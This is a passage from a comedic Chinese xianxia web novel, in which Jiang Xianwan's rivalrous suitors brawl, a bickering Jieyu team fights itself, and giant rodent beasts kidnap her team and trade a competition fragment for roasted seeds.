江献晚打了个喷嚏,头疼的叹了口气,“你倒是先松开,我边画边讲成不?” 真是够了。 为了听个破故事,难为它跑这么远。 小紫顿时满意,点点头,乖乖松绑,大大咧咧把自己盘在一堆符纸上,准备洗耳恭听。 白子夜手一哆嗦,忙挥灭突起的火苗,一把捞过它,随手一丢。 “你对你自己有点数没有!” 他刚画好的一沓符! 林玉锦抽搐着撕下挂在脑袋上的紫色劫雷,扬手一挥,丢回白子夜怀里。 白子夜抖地跟个琴弦似的,浑身剧烈抽搐,“下、下、下去!!!” 小紫:…… 默默变细变小,咕涌着,丝滑地淌过苏清流的小腿,绕上江献晚的左手缠了几圈。 苏清流:“……” 记住本站: 观众看的一愣一愣的。 这还是渡劫时,追着人家屁股,把人家天灵盖都劈烂的劫雷吗? 很快,所有人魔妖都理解了,劫雷是怎样被江献晚训成一条狗的。 “我靠!修真界大佬全都爱上我!这个上册我看过,下册还没出,江献晚怎么会知道下册?” “我也看过!作者好像是叫什么相见恨晚,不会就是江献晚吧?” “巧了!我还看过相见恨晚写的那本无情北帝尊非要跟我生一堆猴子!” “什么?!你说江献晚就是那个被三境两域通缉的相见恨晚!” “传下去!江献晚就是相见恨晚!!!通缉!!!” “收到!两境三域高层的小黄书都是江献晚写的!” 三域和北境高层:“……”靠! 他们一致齐刷刷猛瞅徐燕洲和铁长老。 南境友宗俩掌门,也没跑,第一次胳膊肘往外拐,幽怨地小眼神跟着瞅过去: “仙道掌门他又争又抢?” “仙首大人为爱下神坛?” 又异口同声,激动的声音仿佛是赞美:“你家邪祟,可真是牛逼!” 徐燕洲铁长老:“……”天,终于,还是,彻底塌了。 真好,他们再也不用担心会有脸可丟。 掩在积云中的云舟上,担心了一日,认真看了一日的江行行困的撑不住。 见娘亲无事,终于慢慢耷拉下眼皮,依依不舍地窝在风回雪怀里睡去。 龙鲤眨了眨酸涩肿胀的鱼眼,一头扎进江行行怀中,翻着雪白的肚皮,很快打起小呼噜。 玄龟只能伸着脖儿,咬着江行行一片衣角,努力证明自己的存在感。 非翎唇角讶异而羞涩的笑意,还未散去,又是一扬眉。 他早发现这大胖鱼不对。 一天到晚瞪着俩鱼眼,同江行行眼都不眨盯着江献晚。 要不是它只是一条长着龙角的鱼,他还是以为是哪个盯着自己老婆的小气男人呢。 江献晚坑别人别兽时,它开心的吐泡泡,江献晚陷入险境时,它鱼泪哗哗两行,哭的跟狗似的,还拿脑袋撞帝隐。 又吐又哭,闹了一天,泡泡鼻涕泪珠子到处狂甩,他衣裳就没干过。 非翎瞥了一眼对面银发如霜,望着江行行,苦楚克制却又柔软的不可思议的男子,摸着下巴沉思。 这位不是瞅江行行,就是瞅江献晚。 北境帝尊长着一张清冷疏离的脸,外露的情绪可骗不了他,那眼珠子,一会儿一红,一会儿一红。 记住本站: 铁定是晚晚六个男人中的其中一个。 还有云为泽。 单看他时不时攥茶杯的力度,和落在江献晚身上,流露出的失魂落魄和幽怨,八成也没跑。 花不休是晚晚名义上的师尊。 可剜他身上的寡淡眼神,比风回雪还要像两把淬了冰的小刀子,恨不能把他剜死。 风回雪更别说。 这没气度的狐狸,就差把‘我是正室’写在脸上了。 不过,江行行的亲爹,似乎……是帝隐。 帝隐又看起来和晚晚闹过矛盾,像是第一次见到自己儿子一样。 跟个打碎、黏上,再打碎的琉璃盏似的,一天没个消停。 不难确定,除了帝隐和风回雪,云为泽和花不休好像还没什么实质性的名分。 那他往上爬的机会……岂不是更大了?! 非翎一天转了八千个小心思,满脑子都是上位上位,还是上位。 云为泽缓缓转着指尖的酒杯,察觉魔皇的小动作小表情,眉不自知地蹙紧,心中又是一阵烦闷。 魔皇一袭妖艳红衣铺散于蒲团,唇红齿白,少年感拉满,活像个人畜无害,纯情又诱惑的小妖精,压根就没掩饰对江献晚的兴趣。 只听。 贱嗖嗖的一声。 “晚晚,太可爱了叭~” 嘴又贱? 花不休缓缓侧目。 云为泽指尖一凝。 帝隐乌睫轻掀。 正轻轻将江行行往小榻上放的风回雪动作一顿,眼底深处的杀气轰然炸开。 他直起身,第一次正眼瞧向帝隐,淡淡道:“开灵墟。” 帝隐与江行行血脉相连,灵墟易主,亦可开得。 他今天不把这小贱魔,打的他爹妈都认不出,他就将风回雪三个字倒过来写! 记住本站: 第 148 章 我是来加入这个家的 默默双指一并,一道力量波动出现时,小榻上的江行行眉心微茫一闪,怀中的龙鲤,连同趴卧在床边的玄龟一齐消失不见。 气氛刹那间不知第多少回,再度紧张起来,空气都瑟瑟凝结的程度。 除了无措的北帝尊,四个男人的反应可谓是各有千秋。 憋了一天,掩饰不了一点。 云为泽轻轻弹了弹袍袖,声线低沉,似浸着数九寒霜的凉意,“我宗弟子,与你何干。” 他可……真贱。 “哦?”非翎眼尾微挑,露出几颗小白牙,笑容格外明媚,出口即是王炸,“南帝尊也是晚晚六个男人中的其中一个?” 云为泽:“……?!” 江献晚脑袋上那根破簪子,还真就是这王八蛋的! “咔嚓。”花不休手中茶盏顷刻化为粉末,眼角戾气微薄。 “难不成,你也是?”非翎又是惊讶朝着他一挑眉。 花不休:“……” 却听那小贱魔继续欢喜地又看向风回雪,“这里你最大?” 风回雪:“……” 云为泽还算冷静,只是眼眸深处早已不复淡然无痕。 咬着牙根,冷冷吐出几个字,“魔皇还真是随便。” 言下之意,贱。 非翎像是听不出来,甜甜一笑,羞涩的咬了咬唇瓣,做尽扭捏姿态,“那日黑市一见,我与晚晚私定终身。” “正式介绍一下。”他款款起身,一人对着,两个如花似玉的帝尊,色若晚棠的凤仪剑尊,还有妖艳魅惑的妖域殿下,又是羞涩一笑,“我是她第七个男人!” 不给人喘气的机会,不知死活,好奇地又是一句,“另外两个哥哥呢?” 他话音未落,花不休挥袖打出一道悍然灵力。 云为泽看似端庄如花隔云端,抬手间,与风回雪的妖力,同花不休一起,稳、准、狠,朝着非翎扇去! 非翎,还真是贱! 帝隐:“……” 非翎堪堪避开三道恐怖的力量,红衣乍涌,浑不在意面颊上被划出的三道伤口,眉眼仍是弯弯,色若花苞。 “你们一时难以接受我很理解,可晚晚愿意啊。” 又委屈道:“我又不是来拆散这个家的。” “我是来加入这个家的!” 忍了一日的风回雪彻底炸毛,气的直哆嗦,撸起袖子,骑上去,一拳干上他眼眶! “小贱人!我叫你逼逼逼!我特么忍你忍了很久了!” 记住本站: “加入这个家是吗?劳资现在就弄死你!” “加入!加入!我让你加入!” 好吧,窗户纸捅破,大家彻底不装了。 凤仪剑尊和南帝尊坐的四平八稳,眨眼间,实则出手不下百回。 招招致命,招招奔非翎的嘴。 风回雪更气了,反手一挥,直接一个无差别攻击,连帝隐都不能幸免于难。 恐怖的威压笼罩整个虚古境上空,伴随着眼花缭乱的灵力魔气妖力光泽,夜空映的绚烂夺目,剧烈挤压的爆炸声响彻不断。 除了不知所措,犹豫抬起指尖,不知该劝阻,还是该看着,又僵硬放下,并躲闪妖力魔气灵力暴击的北帝尊。 底下所有人魔妖各个以一种变异扭曲的姿势,死死扒着地,被轰然爆开的云舟碎片砸的一片嗷嗷。 大晚上的,上头怎么忽然打起来了?! 还让不让睡觉了! 不知道自己修为有多高吗! 第二日。 云端出现一艘崭新的云舟。 除了裴长安和林轻染起了个大早,重新整装出发。 其他四支小队伍在太阳升的晒屁股,终于揉着眼,打着哈欠,陆陆续续起床。 解说员蔫蔫的啃着买来的包子,无精打采的挂在树杈上,脸上还顶着一块蹭出来的乌青,勤勤恳恳地向观众传达实时语音播报。 只不过,语气隐隐带着一夜没能入睡的小怨念。 自然,他不敢吐槽云舟上那几个。 “也不知道界域小队在干啥,两眼一睁,又开始扯遮羞布,他们是打算扯到大赛结束吗?” “没完没了了是吗,回家扯啊!他们到底什么时候才能意识到现在是在比赛啊!” “算了,不管他们!让我们把目光……哦呵!魔域小队竟然在洗澡,还挺讲卫生,不愧是魔修,这体型,这肌肉,一二三四五,呵,八块,我也有,臭显摆。” “咳,那魔女……腿可真长……嘶,唉唉,怎么还把一片衣服脱了,这不纯纯耍流氓吗?” “大家别看,我替你们看。” “北境小队气氛好像有些凝重,不过,经过一夜休整,精神头还算可以,算了,就剩裴长安和林轻染,多的我就不说了。” 北境高层,以及出局弟子:“……” “南境小队起的最晚,看林玉锦那哈喇子流的,苏清流咬着发带的样子可真绝了,白子夜宠的不要太犯规,又是摸头杀,又是宠溺的笑,谁起床看着这张脸不迷糊啊。” “江献晚终于醒了,脸上的伤看起来好了许多……嘿嘿……再偷偷强调一下,大家已经看破了你滴小秘密。” 江献晚揉了揉惺忪的眼睛,因刚睡醒,声线略软,“二师兄。” “嗯。”白子夜喉间溢出低低的轻笑,见她垂在被褥的乌发有些乱,从袖中摸出一把木梳。 记住本站: 江献晚盘腿坐着,将枕边盘成蚊香,睡的死去活来的紫色劫雷捞起来,在手里搓巴两下。 “小紫,电充好了吧?今天给你一个大放光彩的机会。” 小紫:……?它还需要大放光彩? 小紫果然大放光彩,在它被江献晚当成鞭子抽打异兽的第十一回,终于发起强烈的抗议。 江献晚脸不红心不跳,“这不是顺手,谁让你缠在我手腕上。” 小紫默默爬上她的脑袋,表示婉拒。 其他小伙伴早就看麻了,倒是何未语似乎有话要说。 江献晚:“何师姐,哪里不对吗?” 何未语眼睛亮晶晶的,温温柔柔道:“我可以用用你的鞭子吗?” 小紫:“……?” 被电的抖若筛子的江献晚,“……这是我老婆。” 小紫:“……?” 何未语犹豫片刻,“……那,我能用用你老婆吗?” 江献晚:“……” 小紫:“……?” 小紫被迫屈服,骂骂咧咧地献上自己的身体。 江献晚这个无情地女人! 自己的老婆都给别人摸,渣女! 何未语拖着死死扒地的小紫,兴冲冲地奔向两头正在草地上互相舔毛的异兽。 “哈——!” 其余小伙伴:“……”何师姐,还真是善啊。 记住本站: 第 149 章 界域小队 找得到碎片就找,找不到碎片就去抢魔域。 修言顶着绿草环,站在树杈上抬手远眺,“发现敌情!西方有动静,有一团似乎是魔气,黑黢黢的。” “走!” 找的就是魔气。 南境小队悉悉索索,往西摸去,林玉锦掏出麻袋,随手一抓,开始分符。 “管够的哈,使劲砸。” 何未语惊讶道:“你哪里弄的这么多符纸?不是不让带吗?” 你是掐着魔域长老的脖儿,给通过的吗? 林玉锦一挺胸膛,“在你们睡的跟死猪一样,磨牙放屁打呼说梦话,鬼哭狼嚎的时候,而我!不眠不休,彻夜为了小队的集体荣誉而发奋努力!” 小伙伴:“……”拉倒吧。 这些符明明是白子夜画的。 说的跟他睡觉没流口水一样,还鹅鹅发出两声渗人的笑声,再喊一句小师妹。 小伙伴一人给他一锤,然后感动地去握苏清流白子夜和江献晚的手。 “苏师兄,白师弟,江师妹,你们辛苦了。” “有你们真好。” “好兄弟(好姐妹),一辈子!” 林玉锦:“……”确认过眼神,天青宗和道明宗,全都不是人! 南境小队打打闹闹,很快摸到一片草地繁郁,微凹的地势。 这个位置极好,面前植被、藤蔓宛如一道天然屏障,隔绝视线。 江献晚随手扯了一朵花塞嘴里,“怎么还有妖气?” 修言:“我怎么觉得还有灵力波动?” 他们对视一眼,低声齐道:“界域小队!” 不错,扒开藤蔓,前方空地,正是内部问题严重的界域小队。 界域相对其他两境两域,简直就是一锅大杂烩,有人族,亦有妖魔。 曾经的界皇倒是人族。 传说界皇好战,又是无情杀戮两道双修,整个一行走的活阎王。 手段狠辣,一言不合,大开杀戒,眼都不眨。 所到之处,不留活物。 整日不是在打架,就是在打架的路上。 疯狂划拉两境两域的地盘,一手建立起了界域,引无数人魔妖狂热追捧。 记住本站: 界域人妖魔混杂,三族免不了总有摩擦。 两眼一睁就是干,(当然,兴许单纯的想跟自家皇贴贴),跑到圣坛,一边撕吧,一边嘚吧。 界皇天天听他们跟一万只嘎嘎乱叫的鸭子似的,你告我状,我告你状,谁来都是不辞辛苦,无差别哐哐一顿暴揍。 揍完,不是拴在圣坛中央的界碑上,晒太阳月亮。 就是坐在高高的三十三座殿,让那些闹事的人魔妖手拉手,在圣坛一边快乐唱歌,一边激情跳舞。 并全方位投放给界域所有人魔妖看。 但这仍抵挡不住聪明的三族。 他们围在一起,叽叽喳喳吵了好几天,终于想出一个自以为,不用羞臊的,特别好的办法。 把脸蒙上,再去告状。 界皇瞅了瞅扭打在一起,哇哇大叫,黑黢黢的一片……扭头走了。 从此,界域便迅速流传开一条铁律,把脸蒙上,皇就不舍得再揍他们。 若是手拉手,围着界碑跳个舞,还能留下皇的脚步。 逐渐就有了统一的,带有遮掩气息的阵纹黑袍,从头遮到脚。 别说,听起来,还挺有意思。 后来,穿遮羞布的传统保留至今。 不过,还有一种简单粗暴的说法。 界皇向来戴着面具,不见真容,底下的人魔妖觉得自家皇,酷毙了、帅炸了,争先跟着效仿。 当然,这些只是道听途说,真相无从甄别。 界域修士路子很疯倒是真的,显然是因为他们皇够疯,还狂。 可谓是将疯疯一窝,皇狂狂一域,大约,三族各个都是有病,又好战又嘴贱的暴力分子,就是这么被界皇强势熏陶的。 界域虽是后起之秀,种族混乱,短短几年,发展神速,比当时的中州,还要恐怖。 对内,三族自个跟自个打的死去活来,对外,三族骂骂咧咧倾巢而出,追着人家围殴狂咬。 甚至……能撵到人地盘上打。 提起界域,众修谈之色变,泪流满面。 好景不长,界皇要与两境两域一战,中州横插一脚。 各势力随着虚古境那一扬大战,至高者皆陨落,分崩离析,战乱不止。 界域三位王倒是乖乖专注起自家地盘,充耳不闻窗外事。 一人一魔一妖,为了皇的位置,扭打了三百年,如今还是老样子。 面前这支一边跟异兽打,又不忘偷袭自家队友的,赫然是由四人四魔四妖,组成的界域小队。 不愧是玄古大陆公认的有毛病,两眼睁不睁,那都是无差别攻击。 记住本站: 瞅瞅,杀异兽的时候,不忘扯两下队友的遮羞布,下手下嘴,攻击力拉爆。 自家把自家……干出局了两个。 南境小队蹲在藤蔓后,嗑着瓜子,看的直摇头。 修言有些忧伤,“我觉得跟他们打架,会影响自己为数不多的智商。” 林玉锦深表赞同,“多看一秒我都觉得会被他们的病情传染。” 何未语:“他们自个就能把自个给干出局。” 一群小伙伴对着界域小队指指点点,聊的热火朝天,没人发现一只肉嘟嘟的爪子,悄咪咪地伸进了瓜子盆中。 轰炸声,音爆声,异兽吼声,还有哇哇大叫的谩骂声,看的人唏嘘不已,听的人啧啧称奇。 长着巨大漆黑羽翼的少年,一手抡飞异兽,两手掐腰,扭头破口大骂,“小贱人!老子草你*,不要脸的狗玩意儿,你他妈再打劳资翅膀试试!” 月离呵呵冷笑,反手甩过去一团灵力,擦着异兽,落在那妖族少年脚边,“老子爹早死了,你上棺材里*啊!不草你是我孙子!” 又转头对另一个浑身散发着魔气的少年,骂骂咧咧,激情输出,“小贱魔!你俩眼珠子留着出气,还是被大屁股坐住了!” 迷音抬腿踹翻一头异兽,很是猖狂,下颌骄矜一抬,“是不是很准,劳资打的就是你!” 声音未落,一双漆黑的翅膀用力夹在他脸上,认真询问受害魔,“是这么准吗?” “水涟!老子草你祖宗!”他狠狠呸出一根毛,气的跳脚,“呸!你个掉毛的死鸟!脏死了!” 记住本站: 第 150 章 你们来做客怎么不喊我 月离抱臂嘲笑,“迷大美人长着一双迷死狗的含情目,不就是让人看的么?” 水涟眼尾一抬,“就是,有种特么把眼珠子扣了啊!” 迷音最讨厌的就是自己这双眼泛秋波,看狗都深情的眼睛,与高大帅气的自己,一点都不符合。 更恨别人别妖别魔叫他迷大美人,简称迷人。 登时宛如被踩了尾巴尖的恶狗,一个不服,扑了上去。 “老子今天就弄死你们这两个瞎眼的狗东西!扣了你俩的眼珠子当炮摔!” “来啊!爹怕你啊!” “来啊!爷怕你啊!” 三个少年再次扭打成一团,掀起一片呛鼻的浓浓尘土。 南境小队不约而同,啧啧摇头。 “他们能打成这样,狗来了,都得夸一声牛逼。” “他仨是怎么穿插在一起的,实在是有待深刻研究。” “别说,这仨小东西打架的功力,没个十几年还真练不出来。” 又齐吸一口凉气,赞叹:“界域小队,恐怖如斯——!” 估计找碎片都想不起来,兴许就算想起来,也没时间找。 跟他们打也是浪费时间。 最重要的是,他们骂人挺他妈脏的。 江献晚嗑着瓜子,看的津津有味,丝毫没注意到地下传来的沙沙异响。 她微微站起来一些,捶了捶蹲的发麻的小腿,“走吧,咱们去找魔域小队。” 没人理她,只有一缕风,孤单的吹过她的乌发。 江献晚狐疑转身,眸子微微睁大,一声卧槽脱口而出。 “我辣么多的小伙伴呢?!” 就说两只耳朵怎么突然安静了! 小紫:“……”我勒个老天奶,全没辣? 只见方才平整的青草地,如今成了一个十米宽的深坑。 两只肥嘟嘟,长相三分酷似河狸,七分酷似土拨鼠的异兽,扒着坑的边缘,呲着两颗大板牙对她露出嘲笑的表情。 随后,四肢像是风火轮似的,咻地一下,将江献晚脚下泥土尽数刨空。 江献晚:“……草你爹。” 解说员肩膀耸动,憋的笑出一声高昂的猪叫声,“我以为界域小队已经够奇葩了,没想到最奇葩的还是当属南境小队。” “哈哈哈!太好笑了!苏清流他们掉下去的那一刻,那不可置信的小表情,那怀疑人生的小眼神。” 记住本站: “还有江献晚,她刚才的反应真是笑死,一扭头,我那么多的小伙伴呢?没了?哈哈哈,还有,江献晚是不是跟界域小队学坏了,她刚才竟然说卧槽,还有,草你爹。” 徐燕洲铁长老:“……”我们的内心毫无波澜。 “这点就要批评界域小队了,这么一会儿就把我的女神给教坏了,实在是令人痛心疾首。” 界域三王:放你娘的屁! 她用得着教吗? 她本来就嘎坏! 坏的还挺正点,跟他们家皇老像老像了。 三王刷地俯身,在桌子下狗狗祟祟,交头接耳。 “她怎么会笑啊?” “她干嘛要笑啊!” “她能不能不笑!” “我不想让她笑!” “她就不应该笑!” “扔几把面瘫药?” 界域小队压根就没发现南境小队的存在,还在热衷于扯对方的遮羞布,那叫一个不知天地为何物,沉浸又忘我。 江献晚整个人疾速下坠,淹没在铺天盖地的湿润土壤,又顺着洞穴骨碌碌滑进更深的洞穴。 她被两只暂且称之为异鼠的异兽抬着胳膊腿,一路颠簸,七拐八拐,拐进一个大大的洞穴。 林玉锦对她的到来,当即表示出了‘一会儿不见,如隔三秋’的强烈想念。 “我就说,小师妹怎么可能不来找我们!” 白子夜灵笔抵着雪白的下颌,两只手象征性绑着几圈藤蔓,“小师妹好像不是自己下来的。” “嗨!这不重要!” 小伙伴们:“重要的是——她来了!” 苏清流勾了勾唇。 一家人,就是要整整齐齐,永不分离。 江献晚被两只异鼠搁在地上,默默坐起身子,望向洞穴中被藤蔓五花大绑,排排坐的小伙伴。 “你们来做客怎么不喊我?” 小伙伴:“……”你见过谁家客做成这样的? 他们不想喊的吗? 他们都没来得及喊。 何未语抿唇轻笑,“方才还说江师妹怎么没来,现在大家伙终于开心的团聚了。” 记住本站: 江献晚:“……”我来了,你们很开心? 这是团聚吗? 分明是团灭。 她低头看两只胖嘟嘟的异鼠抓着细长的藤蔓,配合的并拢足踝,并贴心的伸出手,替它们按了一下。 异鼠感激的拍了拍她的小臂,开开心心拽过她手里的藤蔓缠在她腿上,后者怜爱的摸摸它圆圆的脑瓜子。 另一只异鼠愣了一下,瞅了一眼江献晚,小拳拳突然用力砸在同伴脑袋上,“嘤嘤嘤!” 那只异鼠被砸的抱头鼠窜,江献晚看着两只大异鼠你追我赶,无奈的就地一滚,滚到苏清流和白子夜中间。 她刚坐稳,一只足有七八岁孩童高的大胖异鼠,拖着滚圆的身躯,奋力挤着洞穴口,尝试进来。 南境小队一整个震惊。 妈呀,这鼠也太大太肥了吧! “我勒个,好大的一只鼠鼠。” “它好像能一屁股把我坐死。” “小师妹,我怎么觉得你的锅好像是为它量身打造的?” “鼠之大,一锅炖不下。” 修言的关注点显然跟其他小伙伴不一样。 一双眼睛痴迷的盯着左扭右扭的异鼠大王,喃喃自语,“瞅它那走路都在晃的丰满臀部,这要是打一下,多爽啊!” 变态! 小伙伴用一种比吃了螺蛳粉丹药还要难评的眼神看他,默契而飞快的滚开三米,表示——这人,我不认识! 扭打在一起的异鼠发现大王亲临现扬,忙飞窜过去,三两爪将洞口刨大。 异鼠大王满意地嘤嘤两声,顶着一身湿泥,捯饬着四条肥嘟嘟的小短腿,昂首阔步,神气无比的走了进来。 脑袋一扬,嘤嘤下达命令的傲娇小模样,萌化众人,引来道道色眯眯的目光。 两只下鼠收到命令,合力抱起那盆瓜子,恭敬的献到异鼠大王面前。 随即,站的跟标兵似的。 南境小队:“……” 记住本站: 第 151 章 鼠鼠打人 下一秒,鼠躯一震,翠绿色的眼睛瞬间睁的溜圆,好似两颗即将爆发能量的玻璃珠子。 好吃!!! 它一屁股坐在地上,坐累了就趴着,趴累了就躺着,俩大板牙就没停下来过。 两只异鼠蹲在旁边,叼着自己的胖爪爪,口水嘀嗒嘀嗒。 很快,盆里的瓜子只剩一半。 异鼠大王盯着半盆瓜子,似乎终于意识到某个问题的严重性。 这才注意到洞穴里坐着一排,垂涎三尺,表情变态,各个色眯眯来盯它性感身体的人族修士。 一股凉风顺着粗胖的尾巴,往上爬,它恶寒地抖了抖。 特别是中间那个最猥琐的人类,含情脉脉地盯着它的屁股,露出痴迷而渴望的神色。 像是快要忍受不住心底火热的欲望,随时迅猛而无情地扑过来,将它死死摁在冰冷的地上,肆意蹂躏它性感的身体。 异鼠大王吓坏了。 他可不想要什么老婆! 老婆只会跟它抢吃的! 一种古怪的气氛逐渐蔓延,充斥在人与鼠之间,眼看异鼠大王奋力伸出两只前爪,试图去捂屁股。 林玉锦谴责地转过头,看向修言,“拜托,你不要那么恶心,收起你猥琐放荡的小眼神。” “对!人鼠有别,何况,它好像是一只男鼠鼠。” “修师弟,它真的不适合你,放手吧。” 修言:“……?” 他只是想摸摸它啊! 还有,你怎么知道它是男鼠,你也很变态的好吧? 听到这些放荡的人类围着它的鼠体,展开激烈讨论,异鼠大王手忙脚乱,腿又太短,捂了个寂寞。 恼羞成怒,爪子一挥。 “嘤嘤嘤!” 打鼠他! 两只下鼠飞快奔向看起来最猥琐的修言面前,一鼠给他一耳光。 南境小队:“……?” 顶着两只泥爪印的修言:“……”受伤的世界,只有他一个吗? 一阵鸦雀无声的沉默过后,洞中骤然爆发出抑扬顿挫的鹅鹅狂笑声。 泥土簌簌落下,小伙伴抖着四肢,笑成大粪。 “小东西,还挺有劲!” “老响了!” “还清脆!” “鹅鹅鹅鹅鹅……” 然而,下一秒他们就笑不出来了。 两只鼠鼠在江献晚他们震惊的目光中,公平公正公开,无差别无针对的……抽了两溜耳光。 南境小队:“……” 这小力度,这小速度,这小爪爪。 看得出来,打耳光,鼠鼠是专业的。 打脸技术哪家强,老鼠洞里找鼠王! 苏清流没笑,也未能幸免。 一双总是厌离的眸子微微睁大,眼底是罕见的剧烈情绪波动。 僵硬而缓慢的垂下半扇睫毛,看向那两只异鼠。 他……被两只鼠打了? 他……真的被两只鼠打了? 他……竟然被两只鼠打了? 更心寒的绝对是盘在江献晚脑袋上的小紫。 在得到两个噼里啪啦而又清脆悦耳的大逼兜,扭成风骚的一坨,登时不可置信的僵成便便的形状。 许久,它茫然地竖起一点尖尖。 它堂堂劫雷……被两只鼠给扇了? 还是……俩大耳刮子? 不是,这关它一条无辜的劫雷什么事! 这下轮到修言鹅鹅狂笑。 “天道好轮回,苍天饶过谁!” 不过,等他再次独享了十几个耳光,顶着满脸爪印,终于自闭的垂下脑袋。 小伙伴们憋的肩膀耸动,江献晚纯属被笑的直抽抽的小紫,无意中电的浑身抽搐。 异鼠大王见这些猥琐的人类终于屈服在他的鼠威之下,不敢再造次,高傲地迈着小短腿,抬起一只爪拍了拍盆。 白子夜一边努力憋笑,侧身凑近江献晚,“小师妹,它是不是想要更多的瓜子?” 江献晚:“应该是。” 林玉锦:“那它们偷咱们干啥?” “或许,它觉得我们还有。” 她猜的还真没错。 异鼠大王点点头,重点对她的阅读理解,表示出了极大的满意。 又抬起一只爪爪,敲盆。 明抢。 江献晚摇头,“就这一盆。” 异鼠大王不信,胖爪一挥,“嘤嘤嘤!”给我搜! 两只下鼠收到命令,捯饬着短腿,开始从苏清流这里搜刮。 苏清流睫毛微颤,看着被踹到一旁的老婆,眼底缓缓淌过一丝心碎。 可显然他的小伙伴们乐在其中,纷纷配合低头找芥子囊。 他看了看唇角微微翘起,将芥子囊轻轻上下抛送的小师妹,眼帘一垂,“在袖子里。” 两只异鼠很快找出一个芥子囊,示意他打开。 苏清流沉默片刻,两只被捆在一起的手伸出,拿起芥子囊,往下一倒。 除了一堆不能吃的符纸丹药,灵石衣裳等,啥吃的都没有。 两只异鼠嫌弃地看他一眼,示意他赶紧把破烂收起来。 苏清流:“……” 它们检查过苏清流,来到江献晚跟前。 迎上一双火辣辣的目光,两只鼠吓的浑身一哆嗦,飞快的躲开想摸它俩性感肉体的色魔之手,逃也似的窜到白子夜跟前。 不用它俩搜身,白子夜和林玉锦主动把芥子囊里的东西倒了出来。 总之,除了瓜子,什么都有,但鼠鼠对那些吃的并不感兴趣。 何未语红着脸倒出一堆在异鼠看来的破烂,“就这些了。” 打劫就打劫,鼠鼠怎么还带嘲笑的。 两只异鼠扒拉半天,望着地上一堆堆的破烂,将视线挪到江献晚身上。 异鼠大王等不及了,期待的心被冷水渐渐浇透,啪叽碎成八瓣。 冷静不了一点。 爪一抬:本王亲自来! 下鼠恭敬地跟在鼠大王身后,迈着正步,气扬十足,在江献晚跟前站定。 江献晚还能怎么办。 当然是——宠。 她默不作声打开芥子囊,异鼠大王迫不及待抓起口袋朝下,这么一倒。 在又是一阵噗嗤噗嗤的憋笑声中,整个鼠躺在好大好深的大铁锅里,表情还是迷茫的,无助的。 它是……怎么躺下来的? 直到两只下鼠挥了挥拳头,凶巴巴的示意江献晚他们不许笑。 再到它们奋力的爬上小山,抱着锅,左右使劲摇晃。 还是江献晚轻轻拿脚尖顶了一下锅,异鼠大王成功……被倒扣在锅中。 南境小队:“噗……噗……噗噗……” 笑鼠人! 忍不了一点。 第 152 章 我看看这是怎么回事 “真没有。” 异鼠大王不信,亲自上爪把那堆锅碗瓢盆扒拉一遍,顿时愤怒一尥蹶子。 江献晚:“……” 它激动地比比划划,嘴里不停的嘤嘤嘤嘤。 林玉锦看不懂了,“小师妹,它在说什么?” 江献晚沉默稍许,“你说你也有很多这样的瓜子,但是没有这么好吃?” 异鼠大王委屈地一点头,又抬爪,“嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?” “你是想问,怎么可以让它们变得跟它们一样好吃?” “嘤嘤嘤嘤嘤!” “嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤!” “你还想说,我们要是替你们把它们弄成它们,你们就送我们一些礼物?” 其余小伙伴:“……”牛逼。 解说员惊叹:“我就想知道,这俩是怎么无障碍交流的?!” 徐燕洲铁长老:“……” 异鼠大王很开心,捧起两只肉嘟嘟的爪爪,原地跳跃旋转:“嘤嘤!”啊对! 江献晚一挑眉,提出自己的要求,“那你让我摸一下,我就给你炒瓜子。” 小伙伴们:“……”这特么也行? 修言低下头嘟嘟囔囔:“我怎么觉得,江师妹跟那个到处摸妖翅膀尾巴的女流氓,有点像呢。” 江献晚以为异鼠大王怎么也会抵死不从,或者象征性嘤嘤反抗两声。 谁知道,它为了吃的,毫不犹豫出卖自己的身体,两爪热情似火的主动抱住她的手嘤嘤求摸。 这谁扛得住啊。 双方瞬间就达成了友好协议。 异鼠大王命下鼠去找些雄壮的异鼠把瓜子运到地面上。 它躺在江献晚脚边,享受撸毛服务,两爪抱着江献晚的裙角,发出舒服的嘤嘤声。 在小伙伴羡慕地眼神中,江献晚把异鼠大王撸了个遍。 “嘤!” 异鼠大王见她甚为满意,当即又命下鼠给苏清流他们松绑,还大气的让下鼠抬上各种各样的水果。 甚至……喊了十几只最强壮的鼠鼠……过来陪客。 自闭的修言立刻就忘记了心中的痛,顶着一脸爪印,独占两个。 左拥右抱,也是幸福上了。 其他小伙伴人手一只鼠,一边上下其手,一边咔嚓啃水果,幸福的时光,快乐到爆炸。 不过,在看到异鼠大王不知从哪掏出一块碎片哐哐砸核桃,小伙伴唇角一抽,直接一整个亚麻呆住。 “我勒个,踏破铁鞋无觅处。” “哎呀妈,得来全不费工夫!” “不是,这小东西,就这么猝不及防出现在我们的世界里了吗?” “没白来,大家没白来。” “鼠,属实有实力。” 江献晚默默掏出一块板砖递给它,“用这个砸。” 异鼠大王将碎片一扔,接过板砖一拍,高兴地直嘤嘤:这个好用。 发现江献晚盯着地上的碎片,抓起那枚碎片递给她。 江献晚诧异的指着自己的鼻尖,“给我?” “嘤嘤!”异鼠大王大气挥爪:拿去! 江献晚相当感动。 这鼠实是个意外之喜! 痛快道:“成!我给你炒瓜子!” 至此,南境小队得到三枚碎片,魔域一枚。 一群人一群鼠,纸醉金迷,吃饱喝足,从四通八达的洞穴往外爬。 与此同时,你扯我衣裳,我拽你翅膀,他抠他眼皮,正忙的不可开交的三个黑袍少年忽然定住,低头看地。 江献晚:“……” 失策,把这群傻孩子给忘了。 望着地面上突然冒出的一颗脑袋,三个少年好奇地瞪大了眼睛。 地里还能长人? 没见过。 再看看。 江献晚沉默一会儿,偏头问道:“打完了?” 三个以一种奇异交叉成一团的少年下意识点头又摇头,“还没!” “噢。”江献晚点点头,“行吧,那你们继续。” 她默默往下缩,准备换个远点的洞口出去。 然而,下面挡着一溜人鼠,将洞穴堵的死死的。 异鼠大王托了一下江献晚的屁股:“嘤嘤嘤?”怎么了? 江献晚后退无门,只好双手撑地,若无其事爬出来。 接下来,苏清流白子夜他们相继从洞口爬上来。 最后……还有一溜长长的大胖异鼠。 界域小队:“……?” 我看看这是怎么回事? 南境小队:“……?” 我看看这是怎么回事? 两方小队都在打量彼此,一方稀奇,一方惊叹。 界域小队:地下还真能长人。 南境小队:他们还真挺闹人。 